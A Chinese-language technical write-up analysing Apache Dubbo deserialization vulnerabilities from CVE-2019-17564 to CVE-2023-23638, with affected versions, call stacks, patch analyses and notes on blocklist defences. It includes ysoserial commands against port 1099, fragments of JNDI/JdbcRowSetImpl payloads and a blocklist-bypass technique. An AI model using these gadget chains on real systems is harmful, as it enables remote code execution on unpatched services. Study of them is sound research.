链接 | 描述 | 影响版本 | 作者 |
---|---|---|---|
CVE-2019-17564 | http协议,直接使用了Spring框架的HttpInvokerServiceExporter 类做远程调用,而这个过程会读取POST请求的Body并进行反序列化 |
2.7.0<=Dubbo<=2.7.4 2.6.0<=Dubbo<=2.6.7 2.5.x |
Dor Tumarkin@Chekmarx |
CVE-2020-1948 | Dubbo默认hessian进行反序列化,未验证参数类型,任意object参数都会进行反序列化,实际修复不完整 | 2.7.0<=Dubbo<=2.7.6 2.6.0<=Dubbo<=2.6.7 2.5.x |
Ruilin |
CVE-2020-11995 | CVE-2020-1948 的绕过,参数类型验证保留了动态调用,$invoke\$invokeAsync\$echo 三个方法的参数仍然可例用,补丁修复仍然不全GHSL-2021-034、GHSL-2021-097 | 2.7.0<=Dubbo<=2.7.8 2.6.0<=Dubbo<=2.6.8 2.5.x |
|
CVE-2021-25641 | GHSL-2021-035 Dubbo除了支持hessian协议,还支持其他总共14协议,这些协议里面也有反序列化问题 | dubbo-common<=2.7.3 2.7.0<=Dubbo<=2.7.8 2.6.0<=Dubbo<=2.6.8 2.5.x |
Alvaro Munoz@GitHub Security Lab |
GHSL-2021-036 | GHSL-2021-036 Dubbo中数据流有很多途径到达hessian#readObject,pwntester首次在这里提出这条链readUTF->readString->expect->readObject,这个和后续的CVE-2021-43297异曲同工,而且更短 | 3.0.0<=Dubbo<=3.0.5 2.7.0<=Dubbo<=2.7.15 2.6.0<=Dubbo<=2.6.12 |
Alvaro Munoz@GitHub Security Lab |
CVE-2021-30179 | GHSL-2021-037/GHSL-2021-038 Dubbo支持动态调用,有几个特殊的函数:$invoke\$invokeAsync\$echo,这几个的逻辑在GenericFilter 中,这几个函数支持特定格式的参数,在还原和处理这几个函数时,支持pojo、bean、javanative等方式,会有setter/反序列化问题 | 2.7.0<=Dubbo<=2.7.9 2.6.0<=Dubbo<=2.6.9 2.5.x |
Alvaro Munoz@GitHub Security Lab |
CVE-2021-32824 | GHSL-2021-039 Dubbo支持Telnet,包括invoke 调用,原理和CVE-2021-30179 PojoUtils 利用类似 | 2.7.0<=Dubbo<=2.7.9 2.6.0<=Dubbo<=2.6.9 2.5.x |
Alvaro Munoz@GitHub Security Lab |
CVE-2021-30180 | 1. GHSL-2021-040/GHSL-2021-041 Dubbo的路由实现支持多种,例如Tag路由、Condition路由,它两都支持动态配置,具体实现是以yml格式写入kafka配置中,再交由consumer去解析,consumer采用的是snakeyaml,存在反序列化漏洞。 2. GHSL-2021-043: Dubbo还支持动态配置,原理与router config类似,不过是由provider来加载,最终调用snakeyaml实现反序列化。 |
2.7.0<=Dubbo<=2.7.9 2.6.0<=Dubbo<=2.6.9 2.5.x |
Alvaro Munoz@GitHub Security Lab |
CVE-2021-30181 | GHSL-2021-042 与上一个漏洞类似,还支持Script路由,Script引擎用的Nashorn,存在命令执行 | 2.7.0<=Dubbo<=2.7.9 2.6.0<=Dubbo<=2.6.9 2.5.x |
Alvaro Munoz@GitHub Security Lab |
CVE-2021-36162 | GHSL-2021-094 Dubbo在2.7.10中修复了snakeYaml的反序列化问题,但是3.0新Router机制Mesh中依然存在snakeYaml反序列化 | 3.0<=Dubbo<=3.0.1 2.7.0<=Dubbo<=2.7.12 |
Alvaro Munoz@GitHub Security Lab |
CVE-2021-36163 | GHSL-2021-095 Dubbo还支持Hessian协议(并不是指反序列化),基于http,在HessianSkeleton 的处理中会对POST 的内容进行反序列化 | 3.0<=Dubbo<=3.0.1 2.7.0<=Dubbo<=2.7.12 |
Alvaro Munoz@GitHub Security Lab |
GHSL-2021-096 | GHSL-2021-096 Dubbo还支持rmi协议,Dobbo的Provider类似RMI的Register和Provider,可以用Client攻击Register和Provider的方式进行攻击 | 3.0<=Dubbo<=3.0.1 2.7.0<=Dubbo<=2.7.12 |
Alvaro Munoz@GitHub Security Lab |
CVE-2021-37579 | GHSL-2021-097 CodecSupport#checkSerialization bypass,该安全策略用于判断dubbo数据包指定的序列化方式是否是provider配置的配置,当version不存在时,会绕过检测漏洞 | 3.0<=Dubbo<=3.0.1 2.7.0<=Dubbo<=2.7.12 |
Alvaro Munoz@GitHub Security Lab |
CVE-2021-43297 | hessian-lite 作为dubbo内置的hessian版本,在处理异常的时候,会通过”+”进行字符串拼接,导致其中obj的toString 隐式调用,形成反序列化(也可以认为是GHSL-2021-036的补充) | 3.0.0<=Dubbo<=3.0.5 2.7.0<=Dubbo<=2.7.15 2.6.0<=Dubbo<=2.6.12 |
cxc、yhbl、wh1t3p1g、fynch3r |
CVE-2023-23638 | CVE-2021-30179的绕过,可以利用setter设置全局静态配置变量,绕过安全规则 | 2.7.0<=Dubbo<=2.7.21 3.0.0<=Dubbo<=3.0.13 3.1.0<=Dubbo<=3.1.5 |
yemoli、R1ckyZ、Koishi、cxc (reporter) |
0x01 Dubbo 协议
协议详情
Magic - Magic High & Magic Low (16 bits)
标识协议版本号,Dubbo 协议:0xdabb
Req/Res (1 bit)
标识是请求或响应。请求: 1; 响应: 0。
2 Way (1 bit)
仅在 Req/Res 为1(请求)时才有用,标记是否期望从服务器返回值。如果需要来自服务器的返回值,则设置为1。
Event (1 bit)
标识是否是事件消息,例如,心跳事件。如果这是一个事件,则设置为1。
Serialization ID (5 bit)
标识序列化类型:比如 fastjson 的值为6。
Status (8 bits)
仅在 Req/Res 为0(响应)时有用,用于标识响应的状态。
…
总长度为16字节
https://cn.dubbo.apache.org/zh-cn/blog/2018/10/05/dubbo-%e5%8d%8f%e8%ae%ae%e8%af%a6%e8%a7%a3/
0x02 CVE-2019-17564
2.1 影响版本
1 | 2.7.0<=Dubbo<=2.7.4 |
This vulnerability can affect users using Dubbo-Rpc-Http (2.7.3 or lower) and
Spring-Web (5.1.9.RELEASE or lower).
Notice that this vulnerability only affects users who enable http protocol
provided by Dubbo:
<dubbo:protocol name=”http” />
2.2 漏洞分析
1 | java -jar ysoserial.jar CommonsCollections6 "touch /tmp/success" > 1.poc |
1 | getRuntime:58, Runtime (java.lang) |
注意此中的HttpInvokerServiceExporter
2.3 补丁分析
暂未定位到补丁,dubbo改为2.7.4 相同配置producer 无法启动,可能是和spring 版本原因
这个漏洞是Spring 的漏洞CVE-2016-1000027, 参考https://github.com/spring-projects/spring-framework/issues/24434
1 | spring-web-5.2.3.RELEASE.jar <= org/springframework/remoting/httpinvoker/HttpInvokerServiceExporter.class : [2.5.1,) |
0x03 CVE-2020-1948
3.1 影响版本
1 | 2.7.0<=Dubbo<=2.7.6 |
3.2 漏洞分析
1 | # 启动codebase |
明明接口方法的参数类型是String,但是在实际处理上,并未验证参数类型,都用arg=readObject(传入的参数类型),因此可以通过协议的漏洞来伪造一个Map类型的恶意类进而触发hashcode或者equals方法的反序列化。
1 | lookup:417, InitialContext (javax.naming) |
3.3 补丁分析
引入isGenericCall,判断参数类型
0x04 CVE-2020-11995
4.1 影响版本
1 | 2.7.0<=Dubbo<=2.7.8 |
4.2 漏洞分析
绕过1
RpcUtils.isGenericCall 有几个白名单
poc sayHello 改成$invoke 即可
4.3 补丁分析
注意这里的RpcUtils.isGenericCall 实现.equals(parameterTypesDesc),会判断参数类型,自定义参数类型已经不适用了
疑问,是否可能绕过
- echo 逻辑
- 如果参数就是Object
4.4 GHSL-2021-034 继续绕过
答案是有的,参考 GHSL-2021-034
1 | out.writeUTF("$echo"); |
GHSL-2021-034 并未被分配CVE,应该是直到引入Hessian反序列化黑白名单功能,才解决这一问题。
0x05 CVE-2021-25641
5.1 影响版本
1 | dubbo-commons<=2.7.3 |
5.2 漏洞分析
dubbo 除了hessian之外,还有其他的协议
1 | 2 -> "hessian2" |
注:FstSerialization 和FastJsonSerialization 不一样
温习下hessian的漏洞反序列化原理
kick-off chain 起始方法只能为hashCode/equals/compareTo 方法;
利用链中调用的成员变量不能为transient 修饰;
所有的调用不依赖类中readObject 的逻辑,也不依赖getter/setter 的逻辑。
类似的,其他反序列化方式会不会也存在反序列化漏洞
5.2.1 FST
fst 虽然是利用了fastjson反序列化方式,但是和传统的fastjson反序列化漏洞成因还不一样,dubbo在fastjson的基础上包了一层
Gadget 构造
fastjson中 JSONObject 是可以被序列化的,当其显式或隐式被调用toString方法时,会触发绑定对象的getter方法,这算是人尽皆知的事实。
1
2com.alibaba.fastjson.JSON#toString
com.alibaba.fastjson.JSON#toJSONStringysoserial 有通过get 出发的gadget,比如com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties
org.apache.xpath.objects.XString#equals 会先转成toString,再做比较
- org.apache.dubbo.common.serialize.fst.FstObjectInput#readObject 针对map的处理中,也是map#put进行赋值,导致会调用equals 进行比对
1 | org.apache.dubbo.common.serialize.fst.FstObjectInput#readObject |
问题
HotSwappableTargetSource 有何作用?
为何不用之前的rome HashMap#put -> value.hashCode 的途径?
也可以用,只是给出了另外的链,不过挺绕的
5.2.2 Kryo
应该类似,暂不分析
5.3 补丁分析
可以参考j1ang 师傅的分析,简单来说是dubbo-common 2.7.3已经不内置fastjson了
这里复现遇到个不同的问题,dubbo-common 2.7.3中是fastjson1.2.68 了
师傅还提到在测试了dubbo 和dubbo-common 2.7.9 2.7.10 fastjson版本仍然是1.2.46,漏洞仍然可以触发。
疑问
dubbo-common 怎么实现fastjson版本指定的,在其jar中的pom未找到版本
参考:https://repo1.maven.org/maven2/org/apache/dubbo/dubbo-common/2.7.3/dubbo-common-2.7.3.pom
0x06 GHSL-2021-036
参考https://securitylab.github.com/advisories/GHSL-2021-034_043-apache-dubbo/
Issue 3
6.1 影响版本
1 | 3.0.0<=Dubbo<=3.0.5 |
6.2 漏洞分析
GHSL-2021-036 暴露了出了太多的反序列化点,这个也可能是未分配CVE的原因。
6.2.1 NOK RPC
调用栈
1 | connect:624, JdbcRowSetImpl (com.sun.rowset) |
核心的逻辑在于Hessian2#readString,如果发现tag字段类型非String,会调用expect进行Exception告警,其中
- 尝试readObject
- 将obj 进行“+” 拼接
从而触发obj.toString,造成反序列化问题
这个漏洞和后续的CVE-2021-43297岂止是异曲同工,完全是一模一样!!为什么没给CVE?
6.3 补丁分析
0x07 CVE-2021-30179
7.1 影响版本
1 | 2.7.0<=Dubbo<=2.7.9 |
7.2 漏洞分析
dubbo 支持泛型调用 $invoke$invokeSync
参考:https://dubbo.apache.org/en/docs/v2.7/user/examples/generic-reference/
泛型的具体实现在GenericFilter,这里的Filter和Serverlet 的Filter 类似
在进入GenericFilter 之前,先要经过DecodeableRpcInvocation#decode 进行参数的预处理,针对
对$invoke$invokeSync,必须遵循以下的格式
- methodName: $invoke
- methodDesc:
- args: 范型的参数
- 第一个参数 方法名
- 第二个参数 参数类型数组
- 第三个参数 参数对象(处理之后的,比如反序列化之后)
- attachment: 泛型调用的一些参数
- generic 决定如何从args[2](第三个参数)构造成真实的参数,有以下类型
- true
- raw.return
- nativejava
- bean
- protobuf-json
- generic 决定如何从args[2](第三个参数)构造成真实的参数,有以下类型
1 | // 4.methodName |
1 | if (!StringUtils.isEmpty(generic) && !ProtocolUtils.isDefaultGenericSerialization(generic) && !ProtocolUtils.isGenericReturnRawResult(generic)) { |
第三个参数是个HashMap,HashMap中并不是直接存的所需的对象,而是根据attachment 中generic 的取值,有不同的逻辑。generic 有以下取值
- raw.return
- bean
- javanative
- protobuf
7.2.1 raw.return
raw.return 类型的generic 最终会交由PojoUtils.realize 进行处理
POJO 实际上就是一个普通的Java对象,没有实现任何接口和继承,就是单纯单纯单纯,不能用序列化等方式还原,就用到了一些特殊的处理。
PojoUtils 很重要,大致可以将它认为也是一个序列化/反序列化 简单处理Pojo的工具类。
前文中的PojoUtils.realize(args, params, method.getGenericParameterTypes())
会去实例化class里的类,并且会调用setattr,这里利用空间就很大了
调用链
1 | toObjectImpl:35, JndiConverter (org.apache.xbean.propertyeditor) |
当然,用JdbcRowSetImpl也可以
1 | HashMap jndi = new HashMap(); |
思考:这里的利用链应该很多
7.2.2 bean
raw.return 类型的generic 最终会交由JavaBeanSerializeUtil.deserialize 进行处理
首先args必须满足是JavaBeanDescriptor,可以简单理解为JavaBean的封装器
与PojoUtils类似,JavaBeanSerializeUtil.deserialize 也通过获取setter 反射进行Bean 属性赋值
调用链
1 | lookup:417, InitialContext (javax.naming) |
7.2.3 javanative
其中 ((Serialization)ExtensionLoader.getExtensionLoader(Serialization.class).getExtension(“nativejava”)) 为NativeJavaSerialization
1 | start:1007, ProcessBuilder (java.lang) |
7.2.4 protobuf-json
待补充
7.3 EchoFilter
@pwntester 提出了3条路径,具体可以看 【参考2】
- 不存在的path 触发Exception,Exception message中有toString的隐式调用
- 控制_isCallBackServiceInvoke 进入DubboProtocol 的逻辑
- TraceFilter#invoke
1 | toString:105, ToStringBean (com.rometools.rome.feed.impl) |
Tips: wh1t3p1g 师傅们的CVE-2021-43297 source点不同,sink点都用到了toString 的隐式调用,异曲同工
7.4 其他
HashMap的插入无序性
map内保存内容的顺序不一定与放进去顺序一致,这叫无序。内容不变,取出来顺序一定不变,这叫有序。
对于多参数的,例如JdbcRowSetImpl,可利用的执行顺序是
setdataSourceName 再setAutoCommit
但是HashMap 输入是无序的,因此可能存在成功率的情况。
7.5 补丁分析
2.7.10 版本终于引入了新的安全手段,黑名单
7.5.1 安全策略 SerializeClassChecker#validClass
包含黑名单在security/serialize.blockedlist 文件内,在org.apache.dubbo.common.utils。SerializeClassChecker#validateClass
1 | public void validateClass(String name) { |
7.5.2 raw.return 类型的修复
在PojoUtils#realize0 处理map类型时,加入了SerializeClassChecker#validClass
7.5.3 bean 类型的修复
在JavaBeanSerializeUtil#instantiateForDeserialize 实例化bean对象时,加入了SerializeClassChecker#validClass
7.5.4 nativejava 类型的修复
在GenericFilter 中处理nativejava 类型之前,判断dubbo.security.serialize.generic.native-java-enable 配置,默认disable,禁用了nativejava 类型
0x08 CVE-2021-32824
8.1 影响版本
1 | 2.7.0<=Dubbo<=2.7.9 |
8.2 漏洞分析
参考 https://cn.dubbo.apache.org/zh-cn/docs/references/telnet/
1 | telnet localhost 20880 |
1 | toObjectImpl:35, JndiConverter (org.apache.xbean.propertyeditor) |
疑问:Telnet 依赖Dubbo 协议吗?
跟踪
8.3 补丁分析
PojoUtils#realize0 在CVE-2021-30179的时候引入了SerializeClassChecker黑名单,引入版本为2.7.9,可以参考CVE-2021-30179一节
0x09 CVE-2021-30180
9.1 影响版本
1 | 2.7.0<=Dubbo<=2.7.9 |
与以往的漏洞都是攻击provider 不同,这两个漏洞攻击的是consumer
可以用来做反制蜜罐呀
9.2 漏洞分析
9.2.1 Router 机制
- Consumer 启动
- ReferenceConfig 注册
- Consumer会本地维护RegisterDirectory,需要根据新增的ReferenceConfig 进行刷新
- 刷新过成中,会刷新consumer 到 provider的router
- 各个router根据配置重新加载
router有
- MockInvokersSelector
- StandardMeshRuleRouter
- TagStateRouter
- ServiceStateRouter
- AppStateRouter
虽然Dubbo 是register、consumer、provider 三个角色,但是kafka本身是没有RQ之类队列、路由功能,这个都得自己维护,那么为实现路由功能,就得consumer、provider自己去实现。在Dubbo中,目前看来是在consumer去实现的。
9.2.2 Tag 路由
使用
Provider
在provider上设置提供对应tag,有动静两种方式
- 动态规则打标,yml文件,比如
1 | # governance-tagrouter-provider应用增加了两个标签分组tag1和tag2 |
动态规则方式也是漏洞产生的原因,这个配置会被写入/dubbo/config/dubbo/xxx.tag-router 中,最后由TagStateRouter 进行加载。
- 静态打标
在provider 指定
1 | <dubbo:provider tag="tag1"/> |
或者service上指定
1 | <dubbo:service tag="tag1"/> |
或者启动参数指定
1 | java -jar xxx-provider.jar -Ddubbo.provider.tag={the tag you want, may come from OS ENV} |
漏洞
在notify 阶段就会触发漏洞
1 | parse:33, TagRuleParser (org.apache.dubbo.rpc.cluster.router.tag.model) |
9.2.3 Condition 路由
参考 https://cn.dubbo.apache.org/zh-cn/docs/advanced/routing-rule/#%E6%9D%A1%E4%BB%B6%E8%B7%AF%E7%94%B1
使用
条件路由与 Tag路由 类似,也支持动态配置,例如
应用粒度
1 | # app1的消费者只能消费所有端口为20880的服务实例 |
服务粒度
1 | # DemoService的sayHello方法只能消费所有端口为20880的服务实例 |
漏洞
这里不同的是,在RouterChain#buildChian中就会触发,而不需要等到tagRouter 中的 #setInvokers
1 | load:406, Yaml (org.yaml.snakeyaml) |
9.2.4 动态配置
参考 https://cn.dubbo.apache.org/zh-cn/docsv2.7/user/configuration/config-center/
步骤:
- dubbo provider 会启动一个AbstractConfiguratorListener 监听动态服务变更,并进行加载
- 最终还是用的snakeyaml 进行解析,触发漏洞
漏洞
1 | parseObject:76, ConfigParser (org.apache.dubbo.rpc.cluster.configurator.parser) |
9.3 补丁分析
Tag Router
Condition Router
Config
0x10 CVE-2021-30181
10.1 影响版本
1 | 2.7.0<=Dubbo<=2.7.9 |
与以往的漏洞都是攻击provider 不同,这两个漏洞攻击的是consumer
10.2 漏洞分析
参考https://cn.dubbo.apache.org/en/docs/v2.7/user/examples/routing-rule/#script-routing-rules
10.2.1 Script 路由
script 路由支持
- javascript, default
- groovy
- jruby
1 | public static void main(String[] args) throws Exception { |
10.2.2 漏洞
script router需要在真实route 阶段才会触发,不像tag router/condition router在预加载路由策略的时候。
router 信息也没有保存在register /dubbo/config/dubbo 路径,而是保存在/dubbo/xxx.api/routers 路径
1 | start:1007, ProcessBuilder (java.lang) |
10.3 补丁分析
增加Security Manager控制
SPI
RouterFactory 是SPI扩展,默认ScriptRouterFactory 是非active,用时加载,在2.7.10中,直接移除了SPI配置。
具体逻辑在RegistryDirectory#toRouters 中。
0x11 CVE-2021-36162
11.1 影响版本
1 | 3.0<=Dubbo<=3.0.1 |
11.2 漏洞分析
11.2.1 Mesh 路由
1 | start:1007, ProcessBuilder (java.lang) |
11.3 补丁分析
0x12 CVE-2021-36163
12.1 影响版本
1 | 2.7.0<=Dubbo<=2.7.12 |
12.2 漏洞分析
12.2.1 hessian 协议
- dubbo://
- rest://
- http://
- redis://
- thrift://
- memcached://
- rmi://
- webservice://
- hessian://
- Hessian
- Fastjson2
- Protobuf
- Fastjson
- Avro
- FST
- Gson
- Kyro
- MessagePack
还有个协议就叫hessian,看起来和http类似
12.2.2 漏洞
Hessian 协议就是一个简单的http协议,在HessianSkeleton 的处理中会对POST 的内容进行反序列化
1 | try { |
HessianSkeleton 没有任何的反序列化安全措施,因此不受dubbo的黑名单影响。
1 | lookup:417, InitialContext (javax.naming) |
12.3 补丁分析
https://github.com/apache/dubbo/commit/daf6f25137eabdd5faa60507b58d82b983e52eb7
在Hessian2ObjectInput 引入默认的SerializerFactory,其中引入了hessian 黑名单
12.3.1 安全措施
Hessian 反序列化黑白名单
- dubbo.application.hessian2.whitelist
- dubbo.application.hessian2.allow
- dubbo.application.hessian2.deny
在启动参数-D上指定对应的值,但是default并没有,因此还是受影响的(在2.7.13上测试)。
直到2.7.14版本修复CVE-2021-43297 在com.alibaba.com.caucho.hessian.io.ClassFactory引入DENY_CLASS 才算解决。
0x13 GHSL-2021-096
13.1 影响版本
1 | JDK<JEP290 |
13.2 漏洞分析
13.2.1 Dubbo RMI协议
Dubbo 支持rmi协议,参考rmi protocol
1 | <dubbo:protocol name="rmi" port="1099" /> |
RMI 角色
- register 注册中心: 启动1099端口的服务,也即dubbo 的provider
- server: dubbo 的provider
- client: dubbo 的consumer
那么consumer攻击provider == rmi client 攻击register/server
温习下以前的RMI 攻击手法
13.2.2 Client 攻击Register
1 | java -cp ysoserial.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections5 "open -a calculator.app" |
- 受JEP290 的影响
1 | start:1007, ProcessBuilder (java.lang) |
13.2.3 Client 攻击Server
RMI服务端会对RMI客户端传递过来的参数进行反序列化
- 这里需要方法能装Object参数,比如Objct/Map等
- 原生的反序列化,这里不受JEP 290影响
Dubbo刚好RMI 在生成服务的时候,暴露了两个:原始的方法和generic方法,这两个都方法第三个参数都是Object
1 | start:1007, ProcessBuilder (java.lang) |
13.3 补丁分析
这个漏洞未分配CVE,官方回复是交由用户开启JEP290修复
0x14 CVE-2021-37579
14.1 影响版本
1 | 3.0<=Dubbo<=3.0.1 |
14.2 漏洞分析
这个漏洞就是安全策略checkSerialization 的Bypass
14.2.1 安全策略checkSerialization
功能:是判断Dubbo数据包指定的序列化方式是否和配置相同,在2.6.10.1中引入,但是默认不开启
这个安全策略是为了解决哪个CVE的呢?漏洞CVE-2021-25641 是针对反序列化,但是不是当时的补丁
- Dubbo数据包制定的序列化方式在header[2],eg
1 | if (isResponse) { |
- 配置的序列化方式,默认为hessian2
1 | <dubbo:protocol name="dubbo" port="20880" serialization="fastjson"/> |
绕过
通过不存在的版本,进入logger.warn 判断逻辑,绕过下面的
14.2.2 漏洞
1 | start:1007, ProcessBuilder (java.lang) |
14.3 补丁分析
https://github.com/apache/dubbo/commit/ca794b627cd7ce9634ce215d39bc757d49e5810f
直接抛异常
0x15 CVE-2021-43297
15.1 影响版本
1 | hessian-lite<=3.2.11 |
15.2 漏洞分析
A deserialization vulnerability existed in dubbo hessian-lite 3.2.11 and its earlier versions, which could lead to malicious code execution. Most Dubbo users use Hessian2 as the default serialization/deserialization protocol, during Hessian catch unexpected exceptions, Hessian will log out some imformation for users, which may cause remote command execution. This issue affects Apache Dubbo Apache Dubbo 2.6.x versions prior to 2.6.12; Apache Dubbo 2.7.x versions prior to 2.7.15; Apache Dubbo 3.0.x versions prior to 3.0.5.
从描述可以看出是hessian-lite 的问题,具体看看补丁
https://github.com/apache/dubbo-hessian-lite/commit/a35a4e59ebc76721d936df3c01e1943e871729bd#
可以看出,字符串隐式加,会调用obj 的toString 方法
有好几个sink修改点,Longo师傅筛选后用的是Hessian2Input,这里刚好readObject 之后马上toString
所以可以精简payload
1 | public static Object payload()throws Exception{ |
调用链
1 | lookup:417, InitialContext (javax.naming) |
15.3 补丁分析
https://github.com/apache/dubbo-hessian-lite/commit/a35a4e59ebc76721d936df3c01e1943e871729bd#
去掉obj 的toString 隐式调用。
2.7.14版本在com.alibaba.com.caucho.hessian.io.ClassFactory中添加了黑名单,通过包命和类名过滤将要创建的对象,而Hessian2反序列化创建对象时,都需要使用ClassFactory这个工厂类。
15.3.1 安全策略 DENY_CLASS
2.7.14版本在com.alibaba.com.caucho.hessian.io.ClassFactory中添加了黑名单,通过包命和类名过滤将要创建的对象,而Hessian2反序列化创建对象时,都需要使用ClassFactory这个工厂类。
15.4 其他
漏洞影响并不小,虽然是dubbo-hessian-lite 这个仓库的问题,但是这个仓库一直是dubbo 项目内置的
bitterz 师傅后续还有分析,一直到<=2.7.13都可用
和GHSL-2021-036 原理一样,早在GHSL-2021-036 pwntester就提出了这类链路
疑问:除了下面的调用链,还有没有其他的?
1
2
3Hessian2ObjectInput#readUTF
Hessian2Input#readString
Hessian2Input#expect
// TODO
AbstractDeserializer
- 除非找到子类,并且没有重写readObject/readMap 方法,还要找到剩下的调用链
JavaDeserializer - 可能也有利用链
0x16 CVE-2023-23638
16.1 影响版本
1 | 2.7.0<=Dubbo<=2.7.21 |
16.2 补丁分析
2.7 版本
https://github.com/apache/dubbo/compare/dubbo-2.7.21…dubbo-2.7.22
- CVE-2021-30179 raw.return/javabean 的补丁加强,对Class.forName 之后的类在过了一遍黑名单,那么这次的patch是CVE-2021-30179的绕过吗?
- JavaBeanSerializeUtil#name2class
- PojoUtils@relize0
- 修补了hessian 反序列化的Serializable 特性
- SerializeClassChecker#validateClass
su18: 并不是只有Serializable 的Class才能序列化,如果_isAllowNonSerializable=True也可以,Serializable限制是在序列化的时候做的,因此会导致绕过问题
- SerializeClassChecker#validateClass
针对这两处patch,那么漏洞可能是
- Class.forName 的绕过,或者SerializeClassChecker#validateClass的绕过?
- Serializable 名单绕过,可能存在特殊类,不是黑名单,但是是非Serializable
3.1 版本
3.1.5->3.1.6 的patch
https://github.com/apache/dubbo/commit/c44873e9b2e2a9ecb0459dce6e85cdfc829b2300
16.3 漏洞分析
师傅们的思路:
- 将Configuration 的dubbo.security.serialize.generic.native-java-enable 属性设置为True ,启用JavaNative
- 将SerializeClassChecker 的INSTANCE 属性更改为我们自定义的SerializeClassChecker,然后在这个自定义的checker 中,将JdbcRowSetImpl 加到白名单里面,或者将黑名单置空,或者将OPEN_CHECK_CLASS 更改为 false,从而绕过这个检查机制。
16.3.1 org.apache.dubbo.common.utils.ConfigUtils
Bean
1 | // 泛型调用第三个参数 参数对象 |
raw.return
1 | // 泛型调用第三个参数 参数对象 |
如何定位到ConfigUtils
1 | getInternalProperty:62, PropertiesConfiguration (org.apache.dubbo.common.config) |
16.3.2 SerializeClassChecker
覆盖SerializeClassChecker INSTANCE
16.4 其他
- 3.1.5 ConfigUtils 已经没有PROPERTIES
0x17 总结与思考
17.1 安全策略
- serialize.blockedlist 安全策略
- checkSerialization 安全策略
- DENY_CLASS 安全策略
策略 | 功能 | 引入版本 | 其他 |
---|---|---|---|
serialize.blockedlist | 针对动态调用$invoke,PoJO、JavaBean等处理attachement时的黑白名单 | CVE-2021-30179 | 在CVE-2023-23638中被绕过 |
checkSerialization | 检验传入的serialize 方式是否和配置相同 | 可能是CVE-2021-25641引入的 具体在2.6.10.1版本引入,但是默认不开启 TODO:具体哪个版本默认开启的尚未跟踪 |
CVE-2021-37579中被绕过 |
DENY_CLASS | Hessian 反序列化黑白名单 | CVE-2021-43297补丁引入 2.7.14版本在com.alibaba.com.caucho.hessian.io.ClassFactory中添加了黑名单,通过包命和类名过滤将要创建的对象,而Hessian2反序列化创建对象时,都需要使用ClassFactory这个工厂类 |
GHSL-2021-036 中特别多的触发点,一直到这个版本才修 |
17.2 思考
- path 分析思路要清晰
- GHSL-2021-036 的NOK RPC路径和CVE-2021-43297 不能说是异曲同工,只能说是一模一样
0x18 参考
- [1] Java安全-Dubbo (by:j1ang)
- [2] Apache Dubbo: All roads lead to RCE
- [3] GHSL-2021-034_043: Multiple pre-auth RCEs in Apache Dubbo - CVE-2021-25641, CVE-2021-30179, CVE-2021-30180, CVE-2021-30181, CVE-2021-32824
- [4] GHSL-2021-094: Multiple RCEs in Apache Dubbo - CVE-2021-36162, CVE-2021-36163
- [5] GHSL-2021-097: Pre-Auth Unsafe Java Deserialization in Apace Dubbo - CVE-2021-37579
- [6] [CVE-2019-17564] Apache Dubbo deserialization vulnerability
- [7] Apache Dubbo Hessian2 异常处理时反序列化(CVE-2021-43297)(by:Longofo)
- [8] bitterzzZZ/CVE-2021-43297-POC
- [9] 通过CVE-2021-43297漏洞在Apache Dubbo<=2.7.13下实现RCE (by:bitterz)
- [10] Apache Dubbo CVE-2023-23638 JavaNative 反序列化漏洞分析 (by:jweny)
- [11] 【技术分析】剖析Apache Dubbo 反序列化远程代码执行漏洞(CVE-2023-23638)
- [12] Apache Dubbo CVE-2023-23638 分析 (by:X1r0z)
- [13] Apache dubbo 反序列化漏洞(CVE-2023-23638)分析及利用探索
- [14] FastJson与原生反序列化
- [15] Apache Dubbo CVE-2019-17564 反序列化分析 (by:Y4er)